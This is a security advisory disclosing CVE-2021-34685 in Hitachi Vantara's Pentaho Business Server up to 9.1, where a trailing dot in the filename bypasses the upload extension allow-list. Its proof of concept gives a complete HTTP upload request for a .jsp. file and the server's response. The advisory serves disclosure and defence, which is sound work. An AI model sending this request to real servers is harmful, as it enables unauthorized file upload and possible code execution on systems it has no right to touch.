Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Bypass of Filename Extension Restrictions
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: June 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-34685
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka
--- ### --- ### ---
Product Description:
Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.
( Source: https://en.wikipedia.org/wiki/Pentaho )
--- ### --- ### ---
Vulnerability Details:
Pentaho allows users to upload various files of different file types. The
upload service is implemented under the "/pentaho/UploadService" endpoint.
The file types allowed by the application are “csv, dat, txt, tar, zip,
tgz, gz, gzip”. When uploading a file with an extension other than the
allowed file types, the application responds with the error message of
"UploadFileServlet.ERROR_0011 - File type not allowed. Allowable types are
csv,dat,txt,tar,zip,tgz,gz,gzip". However, the file extension check can be
bypassed by including a single dot "." at the end of the filename.
--- ### --- ### ---
Proof of Concept (PoC):
See Ginger ( https://github.com/HawSec/ginger )
or
--- ~~~ --- ~~~ ---
POST
/pentaho/UploadService?file_name=test_file.jsp.&mark_temporary=false&unzip=false
HTTP/1.1
Host: localhost:8080
Content-Length: 194
Cookie: session-flushed=true; JSESSIONID=A0D2E6A3857C5B7EEF763821513174E9;
client-time-offset=32; JSESSIONID=2D525AE6A712A91E6CA1CBE50177559C;
session-expiry=1617569433767; server-time=1617562233767
Connection: close
------WebKitFormBoundary1k7sJ9yjEbfj39Fl
Content-Disposition: form-data; name="uploadFormElement";
filename="test_file.txt"
Content-Type: text/plain
[...]
FILE_CONTENTS
[...]
------WebKitFormBoundary1k7sJ9yjEbfj39Fl--
HTTP/1.1 200
Set-Cookie: session-expiry=1617572215172; Path=/
Set-Cookie: server-time=1617565015172; Path=/
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 6
Date: Sun, 04 Apr 2021 19:36:55 GMT
Connection: close
test_file.jsp.
--- ~~~ --- ~~~ ---
--- ### --- ### ---
Credits:
This vulnerability was discovered by Alberto Favero & Altion Malka
--- ### --- ### ---
--
BlackHawk - hawkgotyou@gmail.com
Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.